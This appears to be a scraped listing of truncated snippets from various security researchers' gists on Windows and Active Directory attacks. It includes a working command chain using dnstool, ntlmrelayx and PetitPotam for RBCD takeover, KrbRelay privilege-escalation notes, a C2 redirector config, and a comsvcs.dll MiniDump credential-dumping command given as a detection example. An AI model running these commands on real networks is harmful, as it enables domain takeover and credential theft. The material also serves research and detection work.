jborean93

# Copyright: (c) 2024, Jordan Borean (@jborean93) <jborean93@gmail.com>
# MIT License (see LICENSE or https://opensource.org/licenses/MIT)

"""POC for running exe's over RDP

This is a very rough attempt at trying to run an exe using a headless RDP
connection. It aims to be able to provide an interactive console session as
well as a headless one.

Requires aardwolf - https://github.com/skelsec/aardwolf as a Python dependency.

antonioCoco

// TcbElevation - Authors: @splinter_code and @decoder_it

#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>

#pragma comment(lib, "Secur32.lib")

void EnableTcbPrivilege(BOOL enforceCheck);

thinkst-cs

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\nltest.exe]
"ReportingMode"=dword:00000001
"MonitorProcess"="powershell.exe -Command \"Get-WmiObject win32_process -Filter 'ProcessID = %e' | select CreationDate,ProcessId,CommandLine >> C:\\\\Test\\\\Logcmdline.txt\""

tothi

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

• LDAP signing not required on Domain Controller (default!)

zimnyaa

# setting up a DNS record in the domain, the zone I required was found in ForestDNSZones
python3 ./krbrelayx/dnstool.py -u DOMAIN\\zimnyaa -p <PASSWORD> -a add -r testrecord -d <MY_IP> --forest DC1.DOMAIN.local

# setting up a LDAPS relay to grant RBCD to computer account we have
# in my case MAQ = 0, so I escalated on a domain workstation and used it
sudo impacket-ntlmrelayx -smb2support -t ldaps://DC1.DOMAIN.local --http-port 8080 --delegate-access --escalate-user MYWS\$ --no-dump --no-acl --no-da

# PetitPotam to WebDAV with domain credentials (not patched)
# DO NOT use FQDN here
python3 PetitPotam.py -d DOMAIN.local -u zimnyaa -p <PASSWORD> testrecord@8080/a TARGETSERVER

byt3bl33d3r

{
        # This instructs Caddy to hit the LetsEncrypt staging endpoint, in production you should remove this.
        acme_ca https://acme-staging-v02.api.letsencrypt.org/directory
}

(proxy_upstream) {
        # Enable access logging to STDOUT
        log
        
        # This is our list of naughty client User Agents that we don't want accessing our C2

IISResetMe

# Dictionary to hold superclass names
$superClass = @{}

# List to hold class names that inherit from container and are allowed to live under computer object
$vulnerableSchemas = [System.Collections.Generic.List[string]]::new()

# Resolve schema naming context
$schemaNC = (Get-ADRootDSE).schemaNamingContext

# Enumerate all class schemas

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

JohnLaTwC

By @JohnLaTwC

References:
https://risksense.com/blog/hidden-gems-in-windows-the-hunt-is-on/ by Jenna Magius and Nate Caroe (@RiskSense)
https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/
https://twitter.com/SBousseaden/status/1407742041170268166  - Calling MiniDump export by ordinal examples: (comsvcs,#24)

Detection Examples:

"C:\Windows\System32\rundll32.exe"  C:\Windows\System32\comsvcs.dll MiniDump <PID> \Windows\Temp\<filename>.dmp full

jfrmilner

<#
    .SYNOPSIS
    Add Security Principal on Default WinRM SDDL
    .EXAMPLE
    Change $user and run
    .NOTES
    Author: John Milner / jfrmilner
    Requires: Powershell V2
    Filename:
    Version: v0.1 - 2021-02 - Test Version